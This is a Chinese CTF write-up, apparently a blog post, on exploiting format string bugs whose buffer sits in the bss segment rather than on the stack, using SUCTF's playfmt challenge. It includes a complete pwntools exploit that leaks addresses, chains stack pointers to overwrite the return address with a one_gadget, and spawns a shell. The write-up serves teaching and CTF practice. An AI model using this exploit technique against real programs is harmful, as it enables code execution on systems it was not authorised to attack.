不满6位补零 字符串_非栈上格式化字符串漏洞利用技巧

53147111001a6c5b184bba6f2983d152.png


0x00前言
关于Linux栈上格式化字符串漏洞的利用网上已经有许多讲解了,但是非栈上的格式化字符串漏洞很少有人介绍。这里主要以上周末SUCTF比赛中playfmt题目为例,详细介绍一下bss段上或堆上的格式化字符串利用技巧。
0x01基础知识点
格式化字符串漏洞的具体原理就不再详细叙述,这里主要简单介绍一下格式化参数位置的计算和漏洞利用时常用的格式字符。
参数位置计算
linux下32位程序是栈传参,从左到右参数顺序为$esp+4,$esp+8,...;因此$esp+x的位置应该是格式化第x/4个参数。
linux下64位程序是寄存器加栈传参,从左到右参数顺序为$rdi,$rsi,$rdx,$rcx,$r8,$r9,$rsp+8,...;因此$rsp+x的位置应该是格式化第x/8+6个参数。
常用的格式化字符
用于地址泄露的格式化字符有:%x、%s、%p等;
用于地址写的格式化字符:%hhn(写入一字节),%hn(写入两字节),%n(32位写四字节,64位写8字节);%< number>$type:直接作用第number个位置的参数,如:%7$x读第7个位置参数值,%7$n对第7个参数位置进行写。%<number>c:输出number个字符,配合%n进行任意地址写,例如"%{}c%{}$hhn".format(address,offset)就是向offset0参数指向的地址最低位写成address
0x02非栈上格式化字符串漏洞利用
​ 一般来说,栈上的格式化字符串漏洞利用步骤是先泄露地址,包括ELF程序地址和libc地址;然后将需要改写的GOT表地址直接传到栈上,同时利用%c%n的方法改写入system或one_gadget地址,最后就是劫持流程。但是对于BSS段或是堆上格式化字符串,无法直接将想要改写的地址指针放置在栈上,也就没办法实现任意地址写。下面以SUCTF中playfmt为例,介绍一下常用的非栈上格式化字符串漏洞的利用方法。
例题
题目说明
程序漏洞点比较明显,直接写了一个循环的printf格式化漏洞,而输入的数据是存储在buf指针上,buf则是位于bss段中地址为0x0804B040int do_fmt(void) { int result; // eax while ( 1 ) { read(0, buf, 0xC8u); result = strncmp(buf, "quit", 4u); if ( !result ) break; printf(buf); } return result; }
.bss:0804B040 public buf .bss:0804B040 ; char buf[200] .bss:0804B040 buf db 0C8h dup(?) ; DATA XREF: do_fmt(void)+E↑o
查看一下程序的保护,可以发现开启了RELRO,也就是无法改写GOT表,所以思路就是直接修改栈上的返回地址,return的时候劫持流程。

1b5a323b1d70e9ba2e0f5dcf884590d4.png


泄漏地址
首先需要得到当前栈的地址和libc的基地址,这些地址可以很轻松的在栈上找到,其中esp+0x18存放了栈地址,esp+0x20存放了libc的地址,可以得到分别是第6个参数和第8个参数,直接传入%6$p%8$p即可得到栈地址和libc地址。

8df75ed82307e8223a12593655cc2fdf.png


任意地址写
这里主要需要解决的就是如何将要改写的地址放在栈上。实现任意地址写需要依赖栈上存在一个链式结构,如0xffb5c308->0xffb5c328->0xffb5c358,这三个地址都在栈上。

601f887cb5d78bdcde61b70b59b1f22d.png


下图是一个简单的栈地址空间图,offset表示格式化的参数位置。通过第offset0个参数,利用%hhn可以控制address1的最低位,再通过第offset1个参数,利用%hhn可以写address2的最低位;然后通过offset0参数,利用%hhn修改address1的最低位为原始值+1,再通过offset1参数,利用%hhn可以写address2的次低位;依次循环即可完全控制address2的值,再次利用address1和address2的链式结构,即可实现对address2地址空间的任意写。对应到上面显示的地址空间,address0=0xffb5c308,offset0=0x18/4=6;address1=0xffb5c328,offset1=0x38/4=14;address2=0xffb5c358,offset2=0x68/4=26;

bd16a3f1b7e0e8a054be276896836619.png


下面是地址写代码的实现,首先获取address1的最低位的原始值,然后依次写address2的各个字节。def write_address(off0,off1,target_addr): io.sendline("%{}$p".format(off1)) io.recvuntil("0x") addr1 = int(io.recv(8),16)&0xff io.recv() for i in range(4): io.sendline("%{}c%{}$hhn".format(addr1+i,off0)) io.recv() io.sendline("%{}c%{}$hhn".format(target_addr&0xff,off1)) io.recv() target_addr=target_addr>>8 io.sendline("%{}c%{}$hhn".format(addr1,off0)) io.recv()
效果图如下,可以看到esp+0x68的位置已经是栈上返回地址的存放位置(这是另一次的运行截图,栈地址有所变化)。

1cb7236f9db6a7d77a96f834621c118d.png


再次运行write_address0xfff566cc写上one_gadget地址(libc.address+ 0x5f065)。

8e2713676d34b02b177d9e5ee84f63e6.png


最后输入quit退出循环,执行return result时就能获取shell。

4d47fa90ae52eea3fd77d11cfd942589.png


EXP# coding=utf-8 from pwn import * #io = remote('120.78.192.35', 9999) io = process("./playfmt") elf = ELF('./playfmt') libc = ELF('/lib32/libc-2.23.so') #context.log_level = 'DEBUG' #gdb.attach(io,"b *0x0804889f") io.recv() io.sendline("%6$p%8$p") io.recvuntil("0x") stack_addr = int(io.recv(8),16)-0xffffd648+0xffffd610 io.recvuntil("0x") libc.address = int(io.recv(8),16)-0xf7e41000+0xf7c91000 log.success("stack_addr:"+hex(stack_addr)) log.success("libc_addr:"+hex(libc.address)) io.recv() offset0=0x18/4 offset1=0x38/4 offset2=0x68/4 def write_address(off0,off1,target_addr): io.sendline("%{}$p".format(off1)) io.recvuntil("0x") addr1 = int(io.recv(8),16)&0xff io.recv() for i in range(4): io.sendline("%{}c%{}$hhn".format(addr1+i,off0)) io.recv() io.sendline("%{}c%{}$hhn".format(target_addr&0xff,off1)) io.recv() target_addr=target_addr>>8 io.sendline("%{}c%{}$hhn".format(addr1,off0)) io.recv() one_gadget = libc.address+ 0x5f065 print(hex(one_gadget)) write_address(offset0,offset1,stack_addr+0x1c) #gdb.attach(io,"b *0x0804889f") write_address(offset1,offset2,one_gadget) io.sendline("quit") io.interactive()
0x03总结思考
这里简单总结一下上述漏洞利用的使用条件:
首先是需要一个循环触发格式化字符串漏洞的条件,上述的例题中直接存在循环触发漏洞的情况,如果实际情况只能单次触发,可以尝试能否劫持__libc_csu_fini/malloc/free等函数造成循环触发漏洞;
然后就是需要栈上存在单链表结构,64位程序需要三个节点地址,32位程序可能只需要两个节点(本地测试32位的地址可以通过%n一次性写入);
最后需要在循环触发漏洞的期间,栈上使用到的地址空间不被破坏。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值